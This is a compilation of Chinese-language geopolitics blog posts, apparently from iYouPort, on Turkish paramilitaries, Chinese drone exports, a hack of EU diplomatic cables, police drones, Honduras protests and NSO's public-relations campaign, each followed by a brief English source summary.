2006年11月，Canpolat 被短暂拘留，作为在访问土耳其期间策划刺杀教皇本笃十六世阴谋的六名嫌疑人之一。另一名嫌疑人是 Canpolat 的朋友 MustafaÖztürk，他还涉嫌参与了土耳其—亚美尼亚记者 Hrant Dink 被谋杀案。

2015年，Ottoman Hearths 在伊斯坦布尔的青年分支机构负责人 FurkanGök 对ISIS自杀式炸弹袭击事件发表了赞扬的推文，ISIS 在 Suruç 进行的袭击，造成33人死亡。

另一个有争议的亲 Erdoğan 组织是 HÖH。HÖH 是在2016年7月政变失败后成立的，由前土耳其军官 Fatih Kaya 领导，他在去年接受采访时称，“最美丽的民主是伊斯兰教法”。2018年2月，HÖH 被关闭并变成了一个地方协会，但在12月，它又以一个全新的名义—全国动员运动平台—重新出现—目的是“对抗一切对总统和国家官员的非法看法”。

2017 年底，来自主要反对党卫生防护中心的 Murat Bakan 首先揭露了 HÖH 的存在和运作：法西斯主义正在崛起的国家通过准军事组织的压力和暴力升级，以达到绝对的权力。意大利墨索里尼时代的黑色衬衫、德国纳粹时代的棕色衬衫、和爱尔兰的阿尔斯特防卫协会….. 在此之上建立的政权给他们的国家和世界带来了灾难。它们通过造成数百万人的大屠杀而导致了人类的悲剧…. 当局是否了解这些组织最终会导致什么？“

截至目前，看起来所谓的“保安人员”将为土耳其即将举行的市政选举提供支持。

Turkey: Erdoğan’s Unofficial Paramilitary Groups To ‘Monitor’ Elections?the sovereigns in countries where fascism was on the rise escalated pressure and violence through paramilitary organizations in order to reach absolute power.

原文

潘多拉的轰炸 - iYouPort

地缘政治

世界战场最新一次的恐怖革命始于无人机时代的到来，其中中国正在搏得头筹，怎么回事？

世界战场最新一次的恐怖革命始于无人机时代的到来。

特别是在中东地区，无人机已成为美国运作的象征。在所谓的“反恐战争”的前十年半中，美国仍然在数千米以上的高空领域处于实际上的垄断地位—但一旦精灵跑出瓶子就别想再把它放回去。

因此，在该地区的其他国家很快就会受到无人机经济利益和政治上便利的影响。拥有自己的无人机战舰的军队数量正在迅速增长。已经数十亿美元的市场仍在高速膨胀—— 所有这一切基本上只由一个参与者提供：中国。

作为中国战斗无人机驱动力的彩虹CH-4的外观几乎与美国军火制造商 General Atomics 公司臭名昭著的收割者无人机一模一样。虽然 CH-4 在大多数性能参数方面落后于收割者，但在某些性能参数中它可以跟上甚至超越竞争对手。此外，**CH-4** 的武器，即 "AKD-10 弹头"，几乎与收割者的地狱火导弹完全相同。

引人注目的相似之处在于中国从手机或汽车中广泛采取的最众所周知的战略：复制世界著名的品牌产品的外观但质量低于原始产品，于是其成本低得多。中国无人机比美国原装那种要便宜50%到75%。

发表在“亚洲时报”上2015年末的文章表明，这种对美国技术的复制可能源于北京的数据窃取。根据斯诺登的记录，到2010年，“中国黑客已经对五角大楼的计算机网络和其他美国军事机构进行了3万多次网络攻击”，以“泄露敏感军事技术的数据”。虽然没有最终证据证明无人驾驶飞机的数据也被偷走了，但“亚洲时报”援引国家安全局局长亚历山大将军的话说，他认为收割者的蓝图很可能是’中国黑客目标的一部分，而军事专家和分析师很大程度上赞同这种观点。

军事期刊“防御一号”解释说，在尚处于发展阶段的CH-7这一最新型号上，中国可能首次领先美国。它预测，CH-7“将成为想要使用隐形战斗无人机的买家的唯一选择。”军事专家保罗·沙尔（Paul Scharre）表示，“美国在[无人机]技术方面已经有十多年的领先优势，并且不幸浪费了这一领先优势。”

很长一段时间，只有美国、英国和以色列拥有战斗无人机并用它们来执行全球战争—— 近年来这一领域发生了巨大变化。

与此同时，正如美国研究机构所确认的那样，拥有战斗无人机的国家数量已经增加到了至少29个。其中有10个国家明确使用这些无人机来“杀死可疑的敌人”；除了提到的美国、英国和以色列外，还有伊朗、阿塞拜疆、阿联酋，以及尼日利亚、伊拉克、巴基斯坦和土耳其（最后四个国家使用无人机在本国内杀人）。

历史上，以色列是最大的无人机出口国，过去三十年的市场份额超过60%。最近，从2008年到2017年，中国向至少12个国家出口了88架无人机，在世界无人机出口国中排名第三，仅次于美国（351）和以色列（186）。

然而，尽管美国和以色列绝大多数出口都是由非武装侦察无人机组成，但中国的销售重点是武装无人机。在上述时段内，中国出口了68架战斗无人机，领先于美国（62架）和以色列（56架）。因此，最近的外交政策杂志的标题为：“中国已经赢得了无人机战争。”

中国军队的所有武装部队拥有大量的各种无人机，但到目前为止，北京只是用它来救灾、监视国内评论家、异议人士，和军事侦察—而不是杀人。

注：最值得警惕的是无人机用于监视维稳的能力，这种状况目前已经在很多国家扩散，成为了活动家和示威者的严重威胁，详见《"消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代"》这种气体引起了强烈的反应，比催泪瓦斯更加高效：“有些人出现大面积惊厥反应，整个身体像触电一样震动。其他人晕厥20或30分钟”—— 这是以色列的产品。

目前北京似乎正在建立一个永久禁止东亚和南亚致命无人机袭击的规范。然而，这种不袭击的教条并不妨碍中国军火工业将无人机出口到明显使用它们来杀害平民的国家。

根据中国制造商的说法，五角大楼今天仍然只向英国、法国和意大利

运送武装无人机收割者，中国战斗无人机的购买者包括阿尔及利亚，埃及，埃塞俄比亚，伊拉克，约旦，缅甸，尼日利亚，巴基斯坦，沙特阿拉伯，土库曼斯坦，阿联酋和赞比亚。

到目前为止，中国无人机的三大买家是巴基斯坦（占25%）以及埃及和缅甸（分别占23%和13%）。北京的大部分买家都不是美国的紧密盟友，他们要求从华盛顿出售武装无人机失败后，因此而转向中国。

美国是迄今为止最大的武器出口国，通常向世界上几乎每个国家出售军事装备。根据 SIPRI 研究所的数据，2007–2017年，美国向多达112个国家出售了价值980亿美元的武器。因此，从表面上看，将有利可图的战斗无人机市场交给中国似乎相当违反直觉。

五角大楼内部情报部门 DIA 最近的一份报告承认，“中国是中东武装[无人机]的利基供应商”，并且得出结论：“中国面临的竞争很小”，因为它不受国际出口制度的管制。事实上，与美国和欧洲武器出口国不同，中国不是导弹技术控制制度（MTRC）的缔约方，该制度严格管制战斗无人机的扩散，使美国无人机向中东的出口变得更加困难。

特朗普的国务院于2018年4月发布了一项新的出口政策：“我们将消除全球[无人机]市场的障碍，避免将出口机会转让给竞争对手。“新政策可以被理解为未来无人机出口的完全放行。

事实上，也可以直接从制造商那里购买战斗无人机，而不需要政府作为经纪人代理。

因此，与对美国无人机出口相对严格的控制规定相反，中国的政策使其能够迅速在利润丰厚的中东无人机市场站稳脚跟，并积极扩大廉价无人机的扩散进程。

被认为具有革命性的最先进技术总是为其拥有者提供一定的支持。因此，总部位于伦敦的军事智库 RUSI 最近的一份报告得出的结论是，正如中东之眼报道的那样，“中东地区大多数国家的国家声望和地位是越来越多地收购无人机的主要原因”。

然而，除了无人机作为地位符号的价值之外，近年来它们也越来越多地被用于战略性地在该地区的战场上使用，RUSI 报告中将此归因于中国出口的增加。

因此，中国无人机也首次出现杀人事件：除了尼日利亚军队对博科哈拉姆的致命袭击外，自2015年底以来，伊拉克军方也使用中国无人机

进行了260多次空袭。被谋杀的 Al-Sammad 被视为在联合国进行的也门和平进程的推动者，而他的继任者 Mahdi al-Mashat 则是一个不可饶恕的毫不妥协意识的强硬派和挑衅者。

特别值得关注的是中国在沙特阿拉伯的无人机政策。

2017年春季两国之间达成的 **650** 亿美元经济计划包括在沙特阿拉伯建造一家中国无人机工厂—— 这是该地区首个此类工厂。最初就"300架无人机"的许可生产达成了协议，鉴于中国在过去十年中出口了88架无人机，这代表了一个巨大的数字。

然而，被许可无人机并非专门用于沙特皇家空军—— 利雅得可以明确地将它们推销到该地区的其他国家。鉴于沙特阿拉伯与该地区的各种圣战组织一道、是也门基地组织的亲密盟友，因此可以想像，其中一些无人机最终会落入恐怖分子的手中。在北京的出口政策的推动下，无人机武装的圣战分子的威胁情景已经发生了显著的变化。

关联：《两个数字告诉你为什么特朗普不会制裁沙特》

詹姆斯敦基金会的研究表明，我们已经进入了一个“无人恐怖主义”的时代。从叙利亚、伊拉克、阿富汗到加沙、黎巴嫩和也门的通常被称为“恐怖分子”的团体已经在使用迷你无人机投放炸弹、手榴弹和燃烧装置。使用来自中国的廉价战斗无人机进一步淹没该地区肯定会在未来将这些战术提升到新的水平。

自2001年以来，数千人，其中大多数是平民，在所谓的“反恐战争”中被无人机杀害，整体上改变了战争的性质，并使所有未宣布为战区的平民暴露于永久性的威胁之中。

中国领导层正在毫不妥协地利用这些发展，并用廉价的无人机淹没中东。无法预见这种扩张政策的后果。潘多拉的盒子已经打开了。

China is Flooding the Middle East With Cheap Drones. Throughout the war on terror, the U.S. shattered norms on unmanned execution. Now the technology is spreading throughout the region.

原文

用媒体作为监视工具？ - iYouPort

地缘政治

一名安全官员表示，台湾将加强对政治家指责的亲北京报纸的调查，这些报纸在台湾本土传播侵犯国家安全的虚假新闻并进行监视活动。这次讲话是针对香港一家小报“文汇报”，该报对近期前往台北的几位支持独立的香港活动人士进行跟踪，并表示了亲北京的立场。

与另一家报纸“大公报”一样，这份小报因其积极报道在香港和台湾对民主和独立活动家的追捕而闻名。“对外国敌对势力的工作一直是我们的首要任务，我们一直在增加部署和收集情报”，向台湾调查局报告的国家安全部副主任说。

他补充说：“我还敦促公众和媒体帮助提供有关可疑或非法（活动）的任何提示。”

随着台湾预计将在一年左右举行总统选举，蔡英文警告中国不要采取措施，包括部署“假新闻”，以干涉国内政治和选举。

“中国媒体组织正在台湾进行监视，”来自执政的民进党立法委员告诉记者。“这暴露了一个真正的国家安全问题。”“我担心台湾正在发生’红色恐怖’……他们今天跟踪香港人，他们明天就会跟踪台湾人吗？”

台湾总统办公室发言人说，大公报通过对人们的监视实施了“非法”行为，并补充说它正在传播“假新闻”。

一位独立的香港活动家、被跟踪报道的 Tony Chung 告诉路透社，他和他的团队中的两名成员于1月11日飞抵台湾。那两家报纸介绍了他们的所有活动，甚至他们在书店浏览的书籍以及照片。他说，“监视非常严重，令人恐惧的是，即使在台湾，我们也一天24小时都在被跟踪。”

亲北京媒体的目标还包括那些不是香港或台湾公民的人。

去年十二月，文汇报跟踪了澳大利亚的学者凯文卡里科（Kevin

Carrico ）当时他在香港访问。Carrico 曾对香港政治和独立运动进行过研究，被该报称为“分裂分子”。

Taiwan will step up its investigation of pro-Beijing newspapers accused by politicians on the self-ruled island of spreading fake news and surveillance activities that infringe national security, a security official said.

原文

看看谁的立场明确，谁在飘忽 - iYouPort

作恶者：谁在帮中国地缘政治

至少有14位来自由加拿大领导的西方国家的大使聚集在一起，面对中国在新疆西部地区大规模拘留穆斯林的问题进行讨论。在一封泄露给路透社的信件中，大使们要求会见新疆的共产党领导人陈全国。陈是从西藏调来的强硬派，他监督着一个古拉格，其中可能有一百万维吾尔族人被送去“通过再教育改造”，其中许多人被无限期地拘禁而未经审判。

还有数百万人被通过面部识别摄像头、智能手机扫描仪和警察巡逻来进行监控。有些人必须接待官员入住他们的家，这些官员被派遣来评估当地公民的“忠诚度”。中国以所谓的“反恐”为由称这些措施“至关重要”。

对于签署该信函的第一批国家—澳大利亚，比利时，英国，加拿大，丹麦，爱沙尼亚，芬兰，法国，德国，爱尔兰，荷兰，挪威，瑞典和瑞士来说，新疆的痛苦并不是至关重要的国家利益，相反，西方外交官看到了对原则的严峻考验，他们问道：如果我们现在不抗议一百万人未经审判地而被拘留，我们什么时候才能说出来？

可以肯定的是，西方并没有团结起来以捍卫基于规则的秩序。欧盟签署的大使信主要来自北欧。中国领导的欧洲前共产主义国家“16加1”组织中，唯一签署该信函的是爱沙尼亚。澳大利亚是中国的大出口国，也签署了该协议。另一大出口国新西兰则没有签署。

美国的立场则是很难预测。在最近的一次中国演讲中，副总统迈克彭斯对新疆的评论非常严厉。但是，美国在北京的特使并没有签署加拿大起草的信函。

The West begins to stir over China’s massive abuse of Muslims. Foreign governments’ worries about Xinjiang reflect a deeper angst about China. To be sure, the West is not united over how to defend the rules-based order. America’s position is hard to predict.

原文

窃取欧盟 - iYouPort

地缘政治

黑客多年来渗透到欧盟的外交通讯网络，下载了数千条电报，这些电报显示出对特朗普政府不可预测的警惕、对与俄罗斯和中国打交道的担忧、以及伊朗重振其核计划的风险。[[

|https://web.archive.org/web/20210816212923/https://www.wix.com/dashboard/6fc0666c-c125-4701-93b5-303f8db9aa33/blog/5c1d2e7b9b284f001a0388e3/edit/search/posts?query=%23confidential]]

纽约时报称，该黑客在三年内部署的技术类似于中国人民解放军精英部队长期使用的技术。

根据发现该漏洞的 Area 1 表示，这些电报从安全网络中被复制并发布到黑客在攻击过程中设置的开放式互联网站点。Area1 提供了 1,100 多种被黑客入侵的电报。白宫国家安全委员会没有立即发表评论。

这些材料显示了欧洲为了解席卷三大洲的政治动荡所做的努力。包括与沙特阿拉伯、以色列和欧盟共享的其他国家领导人的对话备忘录。

但它也揭示了黑客巨大的胃口，扫除了甚至是最为模糊的国际谈判细节。

「图」

「图」

欧洲官员和中国国家主席习近平7月私人会议的一部分电报

网络入侵者还渗透到联合国网络、AFL-CIO 以及全球外交和金融部门。AFL-CIO 的黑客重点关注围绕跨太平洋伙伴关系谈判的问题，这是一项排除北京的贸易协议。

部分联合国材料侧重于 2016 年朝鲜积极发射导弹的月份，并且似乎包括提及联合国秘书长和他的代表与亚洲领导人的私人会议。

据联合国发言人 Stephane Dujarric de la Riviere 说，联合国“没有关于”中国黑客可能在联合国实施网络攻击的信息。他说，对于大多数事件，联合国没有足够的信息来最终确定这种攻击。

3月7日的电报总结了特朗普政府的美国与欧盟关系的困难。其中，华盛顿的一位欧洲高级官员谈到了“消息传递工作”，以“处理一开始对欧盟的负面态度，这造成了很多不安全因素”。

欧盟驻华盛顿代表团副主席卡罗琳·维奇尼（Caroline Vicini）官员称，来自28个成员国的外交官都说美国是“我们最重要的合作伙伴”，即使在我们不同意美国的做法方面也一样（例如，关于气候，贸易，伊朗核协议）。“

该电报还建议通过与国会直接打交道来解决特朗普的问题，并敦促欧洲驻华盛顿外交官在推动包括贸易、可再生能源和英国退欧在内的众多问题时强调成员国的利益。

「图」

「图」

部分电报描述了白宫官员试图回避特朗普在七月份与普京举行的新闻发布会上发表的声明

这次窃取属于纯粹的间谍活动，因为实施者并没有公开被窃取的内容，是调查人员发现的。Area1 的调查人员表示，他们相信这些黑客为人民解放军的战略支援部队工作，这是一个来自中国信号情报机构（曾被称为 3PLA）的组织的一部分。

进入塞浦路斯系统后，黑客可以访问连接到欧盟整个交换数据库所需的密码。在进入欧洲网络（称为 COREU 或 Courtesy ）后，黑客们可以获取欧盟28个国家的通信，涉及从贸易和关税到恐怖主义的各种主题，再到首脑会议的摘要，从重要到无关紧要的全包括。

Hackers infiltrated the EU’s diplomatic communications network for years, downloading thousands of cables that reveal concerns about an unpredictable Trump administration and struggles to deal with Russia & China and the risk that Iran would revive its nuclear

program. The Europeans appear, belatedly, to be waking up to the threat. Its senior staff members increasingly use encrypted telephones, and isolated “speech rooms” of Lucite are being installed in key posts.

原文

维稳能力升级 - iYouPort

地缘政治

想象一下，大型的群体事件现场，忽然间，雨点一样的橡皮子弹从天而降、大面积喷射的催泪瓦斯挤倒了成片的人群…… 这是一种越来越“流行”的镇压方式，而现在，它居然还合法了！ 为什么？

「图」

「图」

随着今年早些时候一项新的法律被通过，⚠ 北达科他州已成为第一个将执法使用武装无人机合法化的州。

虽然法律限制允许使用“不太致命”的武器类型—如催泪瓦斯、橡皮子弹、豆袋、胡椒喷雾和电击枪—原始的法案实际上旨在确保根本不允许配置任何武器在执法无人机上。

共和党众议员里克·贝克尔（Rick Becker）也是原始法案的提案人表示，他对这部分法律的结果并不满意。

据“每日野兽”杂志报道，贝克尔在3月份的一次听证会上说：“在我看来，应该有一条漂亮的红线：无人机不应该被武器化。”

最初，该法案的目的是要求警方在使用无人机寻找证据之前获得搜查令。它还禁止无人驾驶飞机上的武器。

但是，要通过一项需要搜查令的措施，那么 Rick Becker 就不得不在武器问题上妥协。

正如 Arstechnica 网站所引用的那样，Becker描述了这一过程，这是大部分立法过程的特征。

“我提出禁止使用任何武器，”他说。’执法游说团体则提出了一项修正

案，并说如果增加修正案，他们就不会反对。委员会接受了修正案，我也没有反对，因为我想要法案被通过，至少执法不能使用带有致命武器的无人驾驶飞机。“

对于所有关心警察军事化的人来说，这无疑是一场令人担忧的失败。

要知道，⚠被认为“不太致命”的武器仍然可能是致命的。据“卫报”报道，到**2015**年为止，美国至少有**39**人被警察的泰瑟枪杀死。橡皮子弹、豆袋和催泪瓦斯罐也造成了广泛的伤害甚至死亡。详见一下这篇文章，其中有详细的更可怕的分析：

- 这种气体引起了强烈的反应，比催泪瓦斯更加高效：“有些人出现大面积惊厥反应，整个身体像触电一样震动。其他人晕厥**20**或**30**分钟”**……**欢迎来到无人机革命的新阶段《"消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代"》

With the passage of a new law earlier this year, North Dakota has become the first state to legalize law enforcement use of armed drones. Weapons considered less than lethal can still be deadly. So far in 2015, at least 39 people in the U.S. have been killed by police Tasers, according to The Guardian. Rubber bullets, beanbags and tear gas canisters have also caused extensive injuries and even death.

原文

美国为什么要支持暴政并造就成千上万的难民？ - iYouPort

地缘政治

镇压部队开枪打死了约30人，但抗议活动仍在继续；超过一千人被拘留，一些人仍被关押在军事化的最高级别监狱里，等待与抗议相关指控的审判，但抗议活动仍在继续……人们在拼命逃亡， 然而，一个疑问是：

「图」

「图」

虽然成千上万的移民和难民正在逃离洪都拉斯的暴力、失业、贫困和政治迫害，但政治动荡仍继续席卷该国。1月27日全国范围内的抗议活动爆发，而洪都拉斯总统胡安·奥兰多·埃尔南德斯在2017年连任后的第二任期仍被美国政府巩固，尽管有大量选举舞弊的报道。

抗议活动和随后的镇压事件接连发生，由于两名执政党前政客被指控在美国贩毒和非法武器。被指控的两名男子之一与总统的兄弟直接相关，后者于2018年11月在美国以类似指控被捕。

自2010年以来，国民党一直在洪都拉斯执政。2009年6月28日，洪都拉斯军队向民选总统曼努埃尔·塞拉亚的家中开枪，在他还穿着睡衣时绑架了他，通过美国南方司令部联合特遣部队所在的空军基地将他赶出了这个国家。美国承认事实上的总统并支持当年晚些时候的选举，这些选举被政变后形成的广泛抵抗运动视为非法。在政治动荡的情况下，暴力犯罪飙升，洪都拉斯很快就出现了世界上杀人率最高的地区。

2013年，埃尔南德斯当选总统，国民党继续执政，巩固了对所有三个政府部门的控制。在上任之前，埃尔南德斯一直担任国会主席，后来曾对司法部门进行技术性政变，驱逐了最高法院法官。“洪都拉斯宪法”对总统职位规定了严格的限制。然而，正如许多拉丁美洲国家的

情况一样，洪都拉斯的政治家们也找到了绕开宪法禁令的方法。令人费解的2015年最高法院裁决促成了总统连任，但很多人都视之为违宪。

质疑选举结果的不止于洪都拉斯社会，美洲国家组织的选举观察团也得出结论认为，由于普遍的违规行为，结果完全无法确定，该组织的秘书长呼吁举行新的选举。

“ Fuera JOH ”（“打倒JOH”—胡安·奥兰多·埃尔南德斯名字的首字母缩写）一直是洪都拉斯此后一直存在的口号。在2017年选举之后，全国各地爆发了抗议活动，集会频发、遍地路障和高速公路封锁，洪都拉斯社会高呼“Fuera JOH”。无视政府宣布的宵禁，人们在示威中大声喧哗。同时军警接近并开始实弹射击。

镇压部队开枪打死了约30人，但抗议活动仍在继续；超过一千人被拘留，一些人仍被关押在军事化的最高级别监狱里，等待与抗议相关指控的审判，但抗议活动仍在继续。经过数周的不确定性，埃尔南德斯被正式宣布为胜利者，由于美国对他的胜利表示认可，抹杀了人民改变结果的最大希望，但抗议活动仍在继续 ……

1月27日，在 Hernández 第二次上台周年纪念日之后，洪都拉斯人走上了全国各地的街头，进行了为期一周的零星抗议活动。警察和军队在三十多个集会、游行场所、道路、公路和边境展开大面积封锁行动，发射催泪瓦斯，使用橡皮子弹，拘留抗议者和记者。在洪都拉斯南部城市乔卢特卡，自2017年选举以来，每周都举行反政府抗议活动，当地有报道称镇压军队发射了实弹。一名记者被橡皮子弹击中，是一名 TIGRES 的军官故意向他开枪。TIGRES 是由美国陆军特种部队训练的精锐警察部队。

国家暴力是 César Medina 逃离洪都拉斯的主要原因之一。这位来自该国加勒比海沿岸的罗阿坦岛的21岁男子在过去的五年里曾多次逃到墨西哥寻找工作，以躲避家乡的暴力事件。他说，其中一些暴力就来自这支安全部队。

“警察在街上殴打无辜的人民！军队应该用于战争，而不是用于对付穷人。可他们使用催泪瓦斯对付老百姓，只因为老百姓反对总统，“ Medina 告诉 Truthout。“有很多问题存在，但是政府什么都不做。Hernández 只为自己花费了数百万美元而没有留给任何其他人”。

尽管腐败丑闻和持续的政治不稳定都源于选举后的危机，并且这种危机从未得到解决，但是，美国却支持赫尔南德斯。在冷战期间，洪都

拉斯是美国反叛乱行动和中美洲区域军事训练的基地，当时游击队正在与危地马拉、萨尔瓦多和尼加拉瓜的美国支持的独裁统治作斗争。除了关塔那摩以及美国军队使用的几个前沿作战基地外，拉丁美洲也是美国南方司令部联合特遣部队的所在地，洪都拉斯在中美洲保持着其对美国的关键重要性。

美国政府和军方官员最近重申了他们对埃尔南德政府的支持。1月22日，美国副总统迈克·彭斯称赫尔南德斯“重申了两国之间强有力的合作关系”，并赞扬洪都拉斯总统对最近的移民大篷车的回应—— 洪都拉斯政府增加了边境检查站和审查。同样在1月22日，美国南方司令部司令克雷格·法勒访问了洪都拉斯，并表示支持维稳工作和协调反毒品行动。

第二天，美国司法部宣布对两名洪都拉斯前执政党政客进行毒品贩运和武器指控：AmilcarAlexanderArdónSoriano，

前 Copán 省 ElParaíso 市市长; 和 MarioJoséCálixHernández，前国会议员 Juan Antonio“Tony”Hernández 的合伙人，总统的兄弟。曼哈顿美国检察官杰弗里伯曼在1月23日的一份声明中说，这两名男子“共同密谋向美国进口大量可卡因，并使用重型武器保护毒品运输”。

在洪都拉斯持续的政治动荡和执政党与毒品贩运之间日益增加的联系中，数千人继续逃离暴力、失业、贫困和政治迫害的危机。移民和难民大篷车于1月15日离开圣佩德罗苏拉，随后还加入了萨尔瓦多人、危地马拉人和其他国家的难民。在总统安德烈斯·曼努埃尔·洛佩斯·奥夫拉多尔（AndrésManuelLópezObrador）的新政府下，墨西哥制定了一项临时政策，为中美洲集体流民的当前浪潮提供了为期两周的人道主义签证。签证将允许他们在墨西哥境内生活、工作和旅行一年，并有可能续签。但目前仍有数千人继续等待他们的签证。

不是每个人都有同样的目的地。尽管特朗普对中美洲寻求庇护者施加了限制和威慑，但许多人计划一路前往墨西哥并希望能够越过边境进入美国。许多移民和难民计划利用 LópezObrador 承诺的人道主义签证并在墨西哥寻找工作。Medina 和 Castellanos 属于后者。

许多移民和难民正在家庭团体中或与朋友或邻居一起逃难，但中途遇到陌生人就形成了一些临时的亲密团体。Castellanos 就在途中遇到了萨尔瓦多人和其他几个洪都拉斯人，他们从那时起开始团结一致，一起购买食物和做出决定。

“我们六个人团结起来，我们互相照顾。我们要进入墨西哥并坚持在一起，“他说，无论发生什么，Castellanos 宁愿承受任何结果，甚至被无限期拘留，而不是被驱逐回洪都拉斯，“我绝不能回去。”

Hondurans Protest US-Backed Government as Thousands Flee: Hernández was officially declared the winner and US recognition of his victory quashed most hopes of changing the outcome, but protests continued.

原文

美国会迎来一位台湾裔的总统吗？ - iYouPort

地缘政治

Andrew Yang 宣布他将在2月份争夺 2020 民主党总统候选人提名。他的使命是什么？为美国自动化做准备。他会怎么做？

「图」

「图」

Andrew Yang，1975年出生在纽约斯克内克塔迪，父母是来自台湾的移民。他的父母在加州大学伯克利分校的研究生院相遇。他的父亲毕业于博士学位，在物理学领域工作，并在 IBM 和通用电气的研究实验室工作过，在他的职业生涯中创造了 69 项专利。他的母亲毕业于统计学硕士学位，后来成为一名艺术家。Yang 在纽约哥伦比亚大学法学院获得了法学博士学位。

在这次采访中，他说：我认为人工智能在选举中应该是一个非常重要的问题。硅谷的人们告诉我，由于中国背后的资源规模很大，与中国保持同步是很困难的。这也是美国领导层真正处于危险之中的一个领域。现在，我们依赖于私人公司，尽管他们有聪明才智，却没有足够的资源来跟上中国政府所能做的事。中国政府基本上是向各种人工智能公司写一张空白支票。这是科技公司关注的问题。这就是我告诉他们我将作为总统时可以改变的东西。

我们的目标是避免人工智能军备竞赛，当你是参与方之一的领导者时，避免军备竞赛要比避免另一个国家远远领先于你们更容易得多。

作为总统，我的一个建议是创建一个新的技术部门和一个新的技术部长，他不是管理者，不是政治家，而是其他技术人员钦佩和尊重的真正的技术专家。那个人将基于硅谷接近行动……

注：我们对 Andrew Yang 关于“中美 AI 军备竞赛”的观点很感兴趣，支持“美国退出”的想法是惊人的（虽然它有一定的道理）它明显不符合近年来节节高升的民族主义国际关系气候，我们希望知道这是否硅谷巨头的共识？或者民主党？因为该意见是作为竞选噱头推出的，理

论上它意味着权贵的意向。

Universal income vs. the robots: Meet the presidential candidate fighting automation. Andrew Yang announced he is vying for the 2020 Democratic presidential nomination back in February. His mission? Preparing America for automation.

原文

美国公关公司为以色列间谍软件巨头服务 - iYouPort

以色列和NSO-间谍产业的领主地缘政治

一家美国著名的公关公司现在是以色列臭名昭著的 NSO 集团公关攻势的核心部分，发生了什么？

「图」

「图」

一个致力于民主党政治宣传运动的公关公司其一直受雇于巴拉克奥巴马和希拉里克林顿竞选宣传活动、并自我宣称其在争取枪支管制和 LGBT 平等方面的作用，而现在它代表着一家以向全球诸多威权政府出售强大监控技术而臭名昭著的以色列老大哥公司—— **NSO**。

NSO集团正面临多起诉讼，指控其技术被用来监视记者和持不同政见者，并聘请了美国著名公关公司 SKDKnickerbocker 来帮助他们打通媒体关系，该间谍公司试图扭转其破败的形象。

FastCompany 首次报道的这一招聘是揭示 SKDKnickerbocker 如何工作的例证，尽管它的市场方式不同。

该机构由前克林顿民意测验专家 Mark Penn 经营的私募股权公司所有，他曾为 LGBT 人权运动和生殖健康研究所工作过，但该公司也吸收了像亚马逊和星巴克这样的巨头客户。

尽管如此，尽管 SKDKnickberbocker 曾经与墨西哥和中东的压制性政府关系密切，但他们为 NSO 集团工作的决定依旧尤为引人注目。

“SKDKnickerbocker 代表了许多有正当理由聘用我们的客户，防止和调查恐怖主义以拯救生命的工作是一个特别重要的原因，”SKDKnickerbocker 在对 intercept 的一份声明中说。“NSO 与许多其他网络技术公司的区别在于其对道德业务框架的承诺，该框架依赖于来自世界各地的具有国家安全和情报背景的人员的专业知识来评

估潜在客户并审查当前客户。在我们9/11后的世界中，跟上技术先进的恐怖分子是一项重要的任务。“

这家美国的通讯和咨询公司现在是以色列 **NSO** 集团公共关系攻势的核心部分，这些公关活动是在一系列报道揭示 NSO 臭名昭著的 Pegasus 间谍软件入侵记者和活动家的电话、将他们的 iPhone 和电子设备变成行走的间谍后发起的。

除了保留 SKDKnickerbocker 的服务外，NSO 集团（这家价值8.3亿美元的公司）还创建了一个网站，购买了 Google 的广告，并向电视新闻工作人员敞开了大门。

曾经在全球侵犯人权的阴暗狂魔居然摇身一变登上了热门节目和谷歌搜索排名第一的广告，是谁在背后支持他们以令他们有了”不会遭受制裁、还是继续捞更多钱”的信心？更多报告详见《金榜不要脸》。

“他们正在试图进行名誉止损，”保护记者委员会的倡导主任 Courtney Radsch 说。

然而，批评人士表示，即便NSO集团意图转向透明度，它仍然会回避有关如何评估潜在政府客户的问题，以及该公司为防止其技术被用于侵犯人权而做出的任何调查。

“他们将 Pegasus 间谍软件出售给那些人权记录不佳的国家，完全可以预见，后者会滥用间谍软件来瞄准记者和人权活动家，他们的公关推动迄今为止并没有对这些问题进行有意义的解决，而是将其驳回了。”Citizen Lab 的高级研究员 Bill Marczak 表示。

像许多以色列监视公司一样，**NSO**集团是由以色列军队退伍军人进入私营部门发起的。该公司的创始人 **Shalev Hulio** 和 **Omri Lavie** 使用了由以色列**8200**部队的老兵创建的技术推出了 **Pegasus**，该部队相当于美国国家安全局，Pegasus这是一种远程访问目标智能手机的间谍软件。具体介绍详见 IYP 类目“关于以色列和NSO”部分 – “Evil-doing”。

该间谍软件允许情报机构发送带有链接的无害文本消息，如果目标点击了这些链接，则将目标的智能手机变成移动的间谍设备。该技术通过直接访问手机和捕获目标的对话、个人联系人、电子邮件、短信和图片来规避加密。

“NSO 向政府情报和执法机构许可其产品，为他们提供预防和调查恐

怖主义和犯罪所需的工具，”该公司在 SKDKnickerbocker 发送到 intercept 的声明中表示。显然这只是NSO自己的狡辩口吻。

然而，根据公民实验室的研究，NSO集团的产品已经被用来针对没有参与任何犯罪的民间社会成员。 2016年8月，公民实验室的研究人员发现，阿联酋的人权活动家 Ahmed Mansoor 成为NSO制造的间谍软件的目标，可能由阿联酋安全部队运营。（Mansoor已向Citizen Lab发送了他收到的包含间谍软件的短信副本）

自2016年8月以来，公民实验室的研究人员发现，墨西哥政府购买的 Pegasus 间谍软件被用来针对调查腐败和有组织犯罪的墨西哥记者。另外，他们确认 Pegasus 针对的是人权组织大赦国际的员工。

即便如此，这些都还没能动摇NSO的形象。

但在沙特记者 Jamal Khashoggi 被谋杀之后，NSO的形象受到了最大的打击。随后的新闻报道突出了 Pegasus 如何侵入了 Khashoggi 沙特联系人的电话—— NSO 集团协助沙特政府监视并最终杀死了 Khashoggi。

NSO 集团否认与谋杀 Khashoggi 有任何关系。美国官媒 “华盛顿邮报”报道说，由于担心其间谍软件可能被滥用，该公司已冻结其对该王国的销售。

该公司在对 The Intercept 的一份声明中表示，“虽然我们无法讨论特定政府或机构是否已获得NSO技术许可，但任何不属于预防或调查犯罪和恐怖活动的行为都被视为滥用行为，并将予以调查。该公司保留在必要时关闭系统的权利。“

由于涉及该集团涉嫌参与跟踪 Khashoggi 的问题，联合创始人 Hulio 已经邀请主流媒体对其进行了记录采访，甚至允许 CBS 电视摄像机进入以色列的公司办公室。

人权组织迫使 NSO 停止将 Pegasus 出售给专制政府，他们表示，他们怀疑一家以向侵略性政权出售侵入性工具为基础的公司是否能从根本上改变其业务。

